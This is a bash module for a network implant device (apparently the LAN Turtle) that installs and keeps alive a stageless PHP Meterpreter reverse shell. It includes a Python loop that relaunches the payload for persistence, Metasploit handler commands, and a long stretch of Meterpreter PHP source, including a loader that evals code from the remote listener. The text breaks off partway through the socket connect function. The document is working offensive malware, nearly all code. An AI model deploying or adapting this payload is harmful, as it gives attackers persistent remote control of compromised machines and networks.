#!/bin/bash /usr/lib/turtle/turtle_module

# meterpreter-sl by IMcPwn
# http://imcpwn.com

VERSION="2.1"
DESCRIPTION="Stageless Metasploit payload to maintain shells"
CONF=/tmp/meterpreter-sl.form
AUTHOR=IMcPwn

: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ESC=255}

function start {
  if [ -s /etc/config/meterpreter-sl ]
  then
    meterpreter_sl_host=$(uci get meterpreter-sl.host)
    meterpreter_sl_port=$(uci get meterpreter-sl.port)
    meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
    if [[ $meterpreter_sl_host == "" ]]
    then
        echo "Stageless Meterpreter host not set"
        exit 1
    fi
    if [[ $meterpreter_sl_port == "" ]]
    then
        echo "Stageless Meterpreter port not set"
        exit 1
    fi
    if [[ $meterpreter_sl_sleep == "" ]]
    then
        echo "Stageless Meterpreter sleep time not set"
        exit 1
    fi
    if [ ! -s /etc/turtle/meterpreter/meterpreter-sl-exec.py ]
    then
            echo -e "\nStageless Meterpreter looping script does not exist.\nCreating it now...\n"
            create_exec
    fi
    if [ ! -s /usr/bin/stageless-meterpreter ]
    then
            echo -e "\nPHP Stageless Meterpreter executable does not exist.\nCreating it now...\n"
            create_program
    fi
    echo "Starting stageless meterpreter on IP $meterpreter_sl_host and port $meterpreter_sl_port"
    touch /tmp/meterpreter-sl.lock
    echo "python /etc/turtle/meterpreter/meterpreter-sl-exec.py &" | at now
    echo "Stageless meterpreter started with pid"
    pgrep -f meterpreter-sl-exec.py
  else
    echo "Stageless Meterpreter not configured"
  fi
}

function stop {
  rm -f /tmp/meterpreter-sl.lock
  if pgrep -f meterpreter-sl-exec.py > /dev/null; then kill $(pgrep -f meterpreter-sl-exec.py); fi
  if pgrep -f stageless_meterpreter > /dev/null; then kill $(pgrep -f stageless_meterpreter); fi
  echo "Stageless Meterpreter stopped"
}

function status {
  if ps | grep -w -q [/]etc/turtle/meterpreter/meterpreter-sl-exec.py; then echo "1"; else echo "0"; fi
}

function configure {
  if [ -s /etc/config/meterpreter-sl ]
  then
      meterpreter_sl_host=$(uci get meterpreter-sl.host)
      meterpreter_sl_port=$(uci get meterpreter-sl.port)
      meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
  else
      touch /etc/config/meterpreter-sl
  fi
  
  dialog --ok-label "Submit" \
    --help-button \
    --title "Stageless Meterpreter Configuration" \
    --form "PHP Stageless Meterpreter (Metasploit Module)\n\n\
Stageless Meterpreter connects to the host and port you specify.\nSleep Time is the delay in between each connection attempt.\n" 14 60 3\
    "Listen Host:"    1 1    "$meterpreter_sl_host"    1 14 48 0 \
    "Listen Port:"    2 1    "$meterpreter_sl_port"    2 14 48 0 \
    "Sleep Time:"    3 1    "$meterpreter_sl_sleep"    3 14 48 0 \
  2>$CONF

  return=$?

  case $return in
    $DIALOG_OK)
      cat $CONF | { 
        read -r meterpreter_sl_host
        read -r meterpreter_sl_port
        read -r meterpreter_sl_sleep
        uci set meterpreter-sl.host="$meterpreter_sl_host"
        uci set meterpreter-sl.port="$meterpreter_sl_port"
        uci set meterpreter-sl.sleep=$meterpreter_sl_sleep
        uci commit meterpreter-sl
        rm $CONF
        clear
      };;

    $DIALOG_HELP)
      dialog --title "Help" \
        --msgbox "\
Host - IP or Hostname of target stageless meterpreter listener\n\
Port - Port number of target stageless meterpreter listener\n\
Sleep Time - Time stageless meterpreter waits in between each connection attempt\n \n\

use exploit/multi/handler               \n\
# Handles multiple meterpreter sessions\n \n\

set PAYLOAD php/meterpreter_reverse_tcp \n\
# Setting for Stageless Reverse TCP Meterpreter\n \n\

set LHOST [host or ip]                  \n\
# Hostname or IP of listener\n \n\

set LPORT [port number]                 \n\
# Port of listener\n \n\

set ExitOnSession false                 \n\
# Let the exploit continue when meterpreter exists\n \n\

exploit -j                              \n\
# Make the exploit a backgroundable job\n \n\

sessions                                \n\
# Lists sessions\n \n\

sessions -i [number]                    \n\
# Interacts with session number\n \n\
" 20 74
      configure
      ;;
    $DIALOG_CANCEL)
      rm $CONF
      clear
      exit;;
    $DIALOG_ESC)
      clear;;
  esac
}

function create_exec {
  mkdir -p /etc/turtle/meterpreter
  cat << EOF > /etc/turtle/meterpreter/meterpreter-sl-exec.py
#!/usr/bin/python

# meterpreter-sl-exec.py by IMcPwn
# http://imcpwn.com

import os
import sys
import subprocess
import time

DATE = subprocess.Popen("date", shell=True, stdout=subprocess.PIPE).stdout.read()
DATE = DATE.replace("\n", "")
HOST = subprocess.Popen("uci get meterpreter-sl.host", shell=True, stdout=subprocess.PIPE).stdout.read()
HOST = HOST.replace("\n", "")
PORT = subprocess.Popen("uci get meterpreter-sl.port", shell=True, stdout=subprocess.PIPE).stdout.read()
PORT = PORT.replace("\n", "")
SLEEP = subprocess.Popen("uci get meterpreter-sl.sleep", shell=True, stdout=subprocess.PIPE).stdout.read()
SLEEP = SLEEP.replace("\n", "")
STAGELESS_METERPRETER = "/usr/bin/stageless-meterpreter " + HOST + " " + PORT
if HOST == "" or PORT == "":
        subprocess.call('/usr/bin/logger "Meterpreter: Error, configuration blank"', shell=True)
        print "Meterpreter: Error, configuration blank"
        try:
                os.remove("/tmp/meterpreter-sl.lock")
        except:
                pass
        sys.exit(1)
else:
        while os.path.isfile("/tmp/meterpreter-sl.lock"):
                subprocess.call('/usr/bin/logger "Meterpreter: Started at $DATE with $HOST $PORT"', shell=True)
                print "Started Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
                subprocess.call(STAGELESS_METERPRETER, shell=True)
                time.sleep(float(SLEEP))
        # Done!
        subprocess.call('/usr/bin/logger "Meterpreter: Stopped at $DATE with $HOST $PORT"', shell=True)
        print "Stopped Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
        print "\nTo run again, use \"start meterpreter-sl\" or create /tmp/meterpeter-sl.lock then execute this file again"
        print "To stop again, use \"stop meterpreter-sl\" or manually delete /tmp/meterpreter-sl.lock"
        try:
                os.remove("/tmp/meterpreter-sl.lock")
        except:
                pass

EOF
  chmod +x /etc/turtle/meterpreter/meterpreter-sl-exec.py
}

function create_program {
  cat << EOF > /usr/bin/stageless-meterpreter
#!/usr/bin/env /usr/bin/php-cli

<?php

error_reporting(0);

if (\$argc < 3) {
    echo "Usage: stageless-meterpreter HOST PORT\n\n";
    exit(1);
}

\$ipaddr = \$argv[1];
\$port   = \$argv[2];

\$ipf = AF_INET;

if (!isset(\$GLOBALS['channels'])) {
    \$GLOBALS['channels'] = array();
}
if (!isset(\$GLOBALS['channel_process_map'])) {
    \$GLOBALS['channel_process_map'] = array();
}
if (!isset(\$GLOBALS['resource_type_map'])) {
    \$GLOBALS['resource_type_map'] = array();
}
if (!isset(\$GLOBALS['udp_host_map'])) {
    \$GLOBALS['udp_host_map'] = array();
}
if (!isset(\$GLOBALS['readers'])) {
    \$GLOBALS['readers'] = array();
}
if (!isset(\$GLOBALS['commands'])) {
    \$GLOBALS['commands'] = array(
        "core_loadlib",
        "core_machine_id",
        "core_uuid"
    );
}
function register_command(\$c)
{
    global \$commands;
    if (!in_array(\$c, \$commands)) {
        array_push(\$commands, \$c);
    }
}
function my_print(\$str)
{
}
my_print("Evaling main meterpreter stage");
function dump_array(\$arr, \$name = null)
{
    if (is_null(\$name)) {
        \$name = "Array";
    }
    my_print(sprintf("\$name (%s)", count(\$arr)));
    foreach (\$arr as \$key => \$val) {
        if (is_array(\$val)) {
            dump_array(\$val, "{\$name}[{\$key}]");
        } else {
            my_print(sprintf(" \$key (\$val)"));
        }
    }
}
function dump_readers()
{
    global \$readers;
    dump_array(\$readers, 'Readers');
}
function dump_resource_map()
{
    global \$resource_type_map;
    dump_array(\$resource_type_map, 'Resource map');
}
function dump_channels(\$extra = "")
{
    global \$channels;
    dump_array(\$channels, 'Channels ' . \$extra);
}
if (!function_exists("file_get_contents")) {
    function file_get_contents(\$file)
    {
        \$f        = @fopen(\$file, "rb");
        \$contents = false;
        if (\$f) {
            do {
                \$contents .= fgets(\$f);
            } while (!feof(\$f));
        }
        fclose(\$f);
        return \$contents;
    }
}
if (!function_exists('socket_set_option')) {
    function socket_set_option(\$sock, \$type, \$opt, \$value)
    {
        socket_setopt(\$sock, \$type, \$opt, \$value);
    }
}
define("PAYLOAD_UUID", "\x83\xac\x98\xe3\x99\x7a\x65\xca\xf2\x9c\xe1\x93\xa7\x78\x24\x80");
define("PACKET_TYPE_REQUEST", 0);
define("PACKET_TYPE_RESPONSE", 1);
define("PACKET_TYPE_PLAIN_REQUEST", 10);
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
define("ERROR_SUCCESS", 0);
define("ERROR_FAILURE", 1);
define("CHANNEL_CLASS_BUFFERED", 0);
define("CHANNEL_CLASS_STREAM", 1);
define("CHANNEL_CLASS_DATAGRAM", 2);
define("CHANNEL_CLASS_POOL", 3);
define("TLV_META_TYPE_NONE", (0));
define("TLV_META_TYPE_STRING", (1 << 16));
define("TLV_META_TYPE_UINT", (1 << 17));
define("TLV_META_TYPE_RAW", (1 << 18));
define("TLV_META_TYPE_BOOL", (1 << 19));
define("TLV_META_TYPE_QWORD", (1 << 20));
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
define("TLV_META_TYPE_GROUP", (1 << 30));
define("TLV_META_TYPE_COMPLEX", (1 << 31));
define("TLV_META_TYPE_MASK", (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16));
define("TLV_RESERVED", 0);
define("TLV_EXTENSIONS", 20000);
define("TLV_USER", 40000);
define("TLV_TEMP", 60000);
define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
function my_cmd(\$cmd)
{
    return shell_exec(\$cmd);
}
function is_windows()
{
    return (strtoupper(substr(PHP_OS, 0, 3)) == "WIN");
}
function core_channel_open(\$req, &\$pkt)
{
    \$type_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_TYPE);
    my_print("Client wants a " . \$type_tlv['value'] . " channel, i'll see what i can do");
    \$handler = "channel_create_" . \$type_tlv['value'];
    if (\$type_tlv['value'] && is_callable(\$handler)) {
        my_print("Calling {\$handler}");
        \$ret = \$handler(\$req, \$pkt);
    } else {
        my_print("I don't know how to make a " . \$type_tlv['value'] . " channel. =(");
        \$ret = ERROR_FAILURE;
    }
    return \$ret;
}
function core_channel_eof(\$req, &\$pkt)
{
    my_print("doing channel eof");
    \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
    \$c        = get_channel_by_id(\$chan_tlv['value']);
    if (\$c) {
        if (eof(\$c[1])) {
            packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 1));
        } else {
            packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 0));
        }
        return ERROR_SUCCESS;
    } else {
        return ERROR_FAILURE;
    }
}
function core_channel_read(\$req, &\$pkt)
{
    my_print("doing channel read");
    \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
    \$len_tlv  = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
    \$id       = \$chan_tlv['value'];
    \$len      = \$len_tlv['value'];
    \$data     = channel_read(\$id, \$len);
    if (\$data === false) {
        \$res = ERROR_FAILURE;
    } else {
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
        \$res = ERROR_SUCCESS;
    }
    return \$res;
}
function core_channel_write(\$req, &\$pkt)
{
    \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
    \$data_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_DATA);
    \$len_tlv  = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
    \$id       = \$chan_tlv['value'];
    \$data     = \$data_tlv['value'];
    \$len      = \$len_tlv['value'];
    \$wrote    = channel_write(\$id, \$data, \$len);
    if (\$wrote === false) {
        return ERROR_FAILURE;
    } else {
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, \$wrote));
        return ERROR_SUCCESS;
    }
}
function core_channel_close(\$req, &\$pkt)
{
    global \$channel_process_map;
    my_print("doing channel close");
    \$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
    \$id       = \$chan_tlv['value'];
    \$c        = get_channel_by_id(\$id);
    if (\$c) {
        channel_close_handles(\$id);
        channel_remove(\$id);
        if (array_key_exists(\$id, \$channel_process_map) and is_callable('close_process')) {
            close_process(\$channel_process_map[\$id]);
        }
        return ERROR_SUCCESS;
    }
    dump_channels("after close");
    return ERROR_FAILURE;
}
function channel_close_handles(\$cid)
{
    global \$channels;
    if (!array_key_exists(\$cid, \$channels)) {
        return;
    }
    \$c = \$channels[\$cid];
    for (\$i = 0; \$i < 3; \$i++) {
        if (array_key_exists(\$i, \$c) && is_resource(\$c[\$i])) {
            close(\$c[\$i]);
            remove_reader(\$c[\$i]);
        }
    }
    if (strlen(\$c['data']) == 0) {
        channel_remove(\$cid);
    }
}
function channel_remove(\$cid)
{
    global \$channels;
    unset(\$channels[\$cid]);
}
function core_channel_interact(\$req, &\$pkt)
{
    global \$readers;
    my_print("doing channel interact");
    \$chan_tlv   = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
    \$id         = \$chan_tlv['value'];
    \$toggle_tlv = packet_get_tlv(\$req, TLV_TYPE_BOOL);
    \$c          = get_channel_by_id(\$id);
    if (\$c) {
        if (\$toggle_tlv['value']) {
            if (!in_array(\$c[1], \$readers)) {
                add_reader(\$c[1]);
                if (array_key_exists(2, \$c) && \$c[1] != \$c[2]) {
                    add_reader(\$c[2]);
                }
                \$ret = ERROR_SUCCESS;
            } else {
                \$ret = ERROR_FAILURE;
            }
        } else {
            if (in_array(\$c[1], \$readers)) {
                remove_reader(\$c[1]);
                remove_reader(\$c[2]);
                \$ret = ERROR_SUCCESS;
            } else {
                \$ret = ERROR_SUCCESS;
            }
        }
    } else {
        my_print("Trying to interact with an invalid channel");
        \$ret = ERROR_FAILURE;
    }
    return \$ret;
}
function interacting(\$cid)
{
    global \$readers;
    \$c = get_channel_by_id(\$cid);
    if (in_array(\$c[1], \$readers)) {
        return true;
    }
    return false;
}
function core_shutdown(\$req, &\$pkt)
{
    my_print("doing core shutdown");
    die();
}
function core_loadlib(\$req, &\$pkt)
{
    global \$commands;
    my_print("doing core_loadlib");
    \$data_tlv = packet_get_tlv(\$req, TLV_TYPE_DATA);
    if ((\$data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
        return ERROR_FAILURE;
    }
    \$tmp = \$commands;
    eval(\$data_tlv['value']);
    \$new = array_diff(\$commands, \$tmp);
    foreach (\$new as \$meth) {
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, \$meth));
    }
    return ERROR_SUCCESS;
}
function core_uuid(\$req, &\$pkt)
{
    my_print("doing core_uuid");
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID));
    return ERROR_SUCCESS;
}
function get_hdd_label()
{
    foreach (scandir('/dev/disk/by-id/') as \$file) {
        foreach (array(
            "ata-",
            "mb-"
        ) as \$prefix) {
            if (strpos(\$file, \$prefix) === 0) {
                return substr(\$file, strlen(\$prefix));
            }
        }
    }
    return "";
}
function core_machine_id(\$req, &\$pkt)
{
    my_print("doing core_machine_id");
    \$machine_id = gethostname();
    \$serial     = "";
    if (is_windows()) {
        \$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
        \$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '\$1', \$output);
    } else {
        \$serial = get_hdd_label();
    }
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_MACHINE_ID, \$serial . ":" . \$machine_id));
    return ERROR_SUCCESS;
}
\$channels = array();
function register_channel(\$in, \$out = null, \$err = null)
{
    global \$channels;
    if (\$out == null) {
        \$out = \$in;
    }
    if (\$err == null) {
        \$err = \$out;
    }
    \$channels[] = array(
        0 => \$in,
        1 => \$out,
        2 => \$err,
        'type' => get_rtype(\$in),
        'data' => ''
    );
    \$id         = end(array_keys(\$channels));
    my_print("Created new channel \$in, with id \$id");
    return \$id;
}
function get_channel_id_from_resource(\$resource)
{
    global \$channels;
    if (empty(\$channels)) {
        return false;
    }
    foreach (\$channels as \$i => \$chan_ary) {
        if (in_array(\$resource, \$chan_ary)) {
            my_print("Found channel id \$i");
            return \$i;
        }
    }
    return false;
}
function get_channel_by_id(\$chan_id)
{
    global \$channels;
    my_print("Looking up channel id \$chan_id");
    if (array_key_exists(\$chan_id, \$channels)) {
        my_print("Found one");
        return \$channels[\$chan_id];
    } else {
        return false;
    }
}
function channel_write(\$chan_id, \$data)
{
    \$c = get_channel_by_id(\$chan_id);
    if (\$c && is_resource(\$c[0])) {
        my_print("---Writing '\$data' to channel \$chan_id");
        return write(\$c[0], \$data);
    } else {
        return false;
    }
}
function channel_read(\$chan_id, \$len)
{
    \$c = get_channel_by_id(\$chan_id);
    if (\$c) {
        \$ret       = substr(\$c['data'], 0, \$len);
        \$c['data'] = substr(\$c['data'], \$len);
        if (strlen(\$ret) > 0) {
            my_print("Had some leftovers: '\$ret'");
        }
        if (strlen(\$ret) < \$len and is_resource(\$c[2]) and \$c[1] != \$c[2]) {
            \$read = read(\$c[2]);
            \$c['data'] .= \$read;
            \$bytes_needed = \$len - strlen(\$ret);
            \$ret .= substr(\$c['data'], 0, \$bytes_needed);
            \$c['data'] = substr(\$c['data'], \$bytes_needed);
        }
        if (strlen(\$ret) < \$len and is_resource(\$c[1])) {
            \$read = read(\$c[1]);
            \$c['data'] .= \$read;
            \$bytes_needed = \$len - strlen(\$ret);
            \$ret .= substr(\$c['data'], 0, \$bytes_needed);
            \$c['data'] = substr(\$c['data'], \$bytes_needed);
        }
        if (false === \$read and empty(\$ret)) {
            if (interacting(\$chan_id)) {
                handle_dead_resource_channel(\$c[1]);
            }
            return false;
        }
        return \$ret;
    } else {
        return false;
    }
}
function generate_req_id()
{
    \$characters = 'abcdefghijklmnopqrstuvwxyz';
    \$rid        = '';
    for (\$p = 0; \$p < 32; \$p++) {
        \$rid .= \$characters[rand(0, strlen(\$characters) - 1)];
    }
    return \$rid;
}
function handle_dead_resource_channel(\$resource)
{
    global \$msgsock;
    if (!is_resource(\$resource)) {
        return;
    }
    \$cid = get_channel_id_from_resource(\$resource);
    if (\$cid === false) {
        my_print("Resource has no channel: {\$resource}");
        remove_reader(\$resource);
        close(\$resource);
    } else {
        my_print("Handling dead resource: {\$resource}, for channel: {\$cid}");
        channel_close_handles(\$cid);
        \$pkt = pack("N", PACKET_TYPE_REQUEST);
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
        \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
        write(\$msgsock, \$pkt);
    }
    return;
}
function handle_resource_read_channel(\$resource, \$data)
{
    global \$udp_host_map;
    \$cid = get_channel_id_from_resource(\$resource);
    my_print("Handling data from \$resource");
    \$pkt = pack("N", PACKET_TYPE_REQUEST);
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
    if (array_key_exists((int) \$resource, \$udp_host_map)) {
        list(\$h, \$p) = \$udp_host_map[(int) \$resource];
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_HOST, \$h));
        packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_PEER_PORT, \$p));
    }
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_ID, \$cid));
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, strlen(\$data)));
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
    \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
    return \$pkt;
}
function create_response(\$req)
{
    \$pkt        = pack("N", PACKET_TYPE_RESPONSE);
    \$method_tlv = packet_get_tlv(\$req, TLV_TYPE_METHOD);
    my_print("method is {\$method_tlv['value']}");
    packet_add_tlv(\$pkt, \$method_tlv);
    \$reqid_tlv = packet_get_tlv(\$req, TLV_TYPE_REQUEST_ID);
    packet_add_tlv(\$pkt, \$reqid_tlv);
    if (is_callable(\$method_tlv['value'])) {
        \$result = \$method_tlv['value'](\$req, \$pkt);
    } else {
        my_print("Got a request for something I don't know how to handle (" . \$method_tlv['value'] . "), returning failure");
        \$result = ERROR_FAILURE;
    }
    packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_RESULT, \$result));
    \$pkt = pack("N", strlen(\$pkt) + 4) . \$pkt;
    return \$pkt;
}
function create_tlv(\$type, \$val)
{
    return array(
        'type' => \$type,
        'value' => \$val
    );
}
function tlv_pack(\$tlv)
{
    \$ret = "";
    if ((\$tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
        \$ret = pack("NNa*", 8 + strlen(\$tlv['value']) + 1, \$tlv['type'], \$tlv['value'] . "\0");
    } elseif ((\$tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
        \$hi  = (\$tlv['value'] >> 32) & 0xFFFFFFFF;
        \$lo  = \$tlv['value'] & 0xFFFFFFFF;
        \$ret = pack("NNNN", 8 + 8, \$tlv['type'], \$hi, \$lo);
    } elseif ((\$tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
        \$ret = pack("NNN", 8 + 4, \$tlv['type'], \$tlv['value']);
    } elseif ((\$tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
        \$ret = pack("NN", 8 + 1, \$tlv['type']);
        \$ret .= \$tlv['value'] ? "\x01" : "\x00";
    } elseif ((\$tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
        \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
    } elseif ((\$tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
        \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
    } elseif ((\$tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
        \$ret = pack("NN", 8 + strlen(\$tlv['value']), \$tlv['type']) . \$tlv['value'];
    } else {
        my_print("Don't know how to make a tlv of type " . \$tlv['type'] . " (meta type " . sprintf("%08x", \$tlv['type'] & TLV_META_TYPE_MASK) . "), wtf");
    }
    return \$ret;
}
function tlv_unpack(\$raw_tlv)
{
    \$tlv  = unpack("Nlen/Ntype", substr(\$raw_tlv, 0, 8));
    \$type = \$tlv['type'];
    my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
    if ((\$type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
        \$tlv          = unpack("Nlen/Ntype/a*value", substr(\$raw_tlv, 0, \$tlv['len']));
        \$tlv['value'] = str_replace("\0", "", \$tlv['value']);
    } elseif ((\$type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
        \$tlv = unpack("Nlen/Ntype/Nvalue", substr(\$raw_tlv, 0, \$tlv['len']));
    } elseif ((\$type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
        \$tlv          = unpack("Nlen/Ntype/Nhi/Nlo", substr(\$raw_tlv, 0, \$tlv['len']));
        \$tlv['value'] = \$tlv['hi'] << 32 | \$tlv['lo'];
    } elseif ((\$type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
        \$tlv = unpack("Nlen/Ntype/cvalue", substr(\$raw_tlv, 0, \$tlv['len']));
    } elseif ((\$type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
        \$tlv          = unpack("Nlen/Ntype", \$raw_tlv);
        \$tlv['value'] = substr(\$raw_tlv, 8, \$tlv['len'] - 8);
    } else {
        my_print("Wtf type is this? \$type");
        \$tlv = null;
    }
    return \$tlv;
}
function packet_add_tlv(&\$pkt, \$tlv)
{
    \$pkt .= tlv_pack(\$tlv);
}
function packet_get_tlv(\$pkt, \$type)
{
    \$offset = 8;
    while (\$offset < strlen(\$pkt)) {
        \$tlv = tlv_unpack(substr(\$pkt, \$offset));
        if (\$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
            return \$tlv;
        }
        \$offset += \$tlv['len'];
    }
    return false;
}
function packet_get_all_tlvs(\$pkt, \$type)
{
    my_print("Looking for all tlvs of type \$type");
    \$offset = 8;
    \$all    = array();
    while (\$offset < strlen(\$pkt)) {
        \$tlv = tlv_unpack(substr(\$pkt, \$offset));
        if (\$tlv == NULL) {
            break;
        }
        my_print("len: {\$tlv['len']}, type: {\$tlv['type']}");
        if (empty(\$type) || \$type == (\$tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
            my_print("Found one at offset \$offset");
            array_push(\$all, \$tlv);
        }
        \$offset += \$tlv['len'];
    }
    return \$all;
}
function register_socket(\$sock, \$ipaddr = null, \$port = null)
{
    global \$resource_type_map, \$udp_host_map;
    my_print("Registering socket \$sock for (\$ipaddr:\$port)");
    \$resource_type_map[(int) \$sock] = 'socket';
    if (\$ipaddr) {
        \$udp_host_map[(int) \$sock] = array(
            \$ipaddr,
            \$port
        );
    }
}
function register_stream(\$stream, \$ipaddr = null, \$port = null)
{
    global \$resource_type_map, \$udp_host_map;
    my_print("Registering stream \$stream for (\$ipaddr:\$port)");
    \$resource_type_map[(int) \$stream] = 'stream';
    if (\$ipaddr) {
        \$udp_host_map[(int) \$stream] = array(
            \$ipaddr,
            \$port
        );
    }
}
function connect(\$ipaddr, \$port, \$proto = 'tcp')
{
    my_print("Doing connect(\$ipaddr, \$port)");
    \$sock   = false;
    \$raw_ip = \$ipaddr;
    if (FALSE !== strpos(\$ipaddr, ":")) {
        \$ipf    = AF_INET6;
        \$ipaddr = "[" . \$raw_ip . "]";
    }
    if (is_callable('stream_socket_client')) {
        my_print("stream_socket_client({\$proto}://{\$ipaddr}:{\$port})");
        \$sock = stream_socket_client("{\$proto}://{\$ipaddr}:{\$port}");
        my_print("Got a sock: \$sock");
        if (!\$sock) {
            return false;
        }
        if (\$proto == 'tcp') {
            register_stream(\$sock);
        } elseif (\$proto == 'udp') {
            register_stream(\$sock, \$ipaddr, \$port);
        } else {
            my_print("WTF proto is this: '\$proto'");
        }
    } else if (is_callable('fsockopen')) {
        my_print("fsockopen");
        if (\$proto == 'tcp') {
            \$sock = fsockopen(\$ipaddr, \$port);
            if (!\$sock) {
                return false;
            }
            if (is_callable('socket_set_timeout')) {
                socket_set_timeout(\$sock, 2);
            }
            register_stream(\$sock);
        } else {
            \$sock = fsockopen(\$proto . "://" . \$ipaddr, \$port);
            if (!\$sock) {
                return false;
            }
            register_stream(\$sock, \$ipaddr, \$port);
        }
    } else if (is_callable('socket_create')) {
        my_print("socket_create");
        if (\$proto == 'tcp') {
            \$sock = socket_create(\$ipf, SOCK_STREAM, SOL_TCP);
            \$res  = socket_connect(\$sock, \$raw_ip, \$port);
            if (!\$res) {
                return false;
            }
            register_socket(\$sock);
        } elseif (\$proto == 'udp') {
            \$sock = socket_create(\$ipf, SOCK_DGRAM, SOL_UDP);
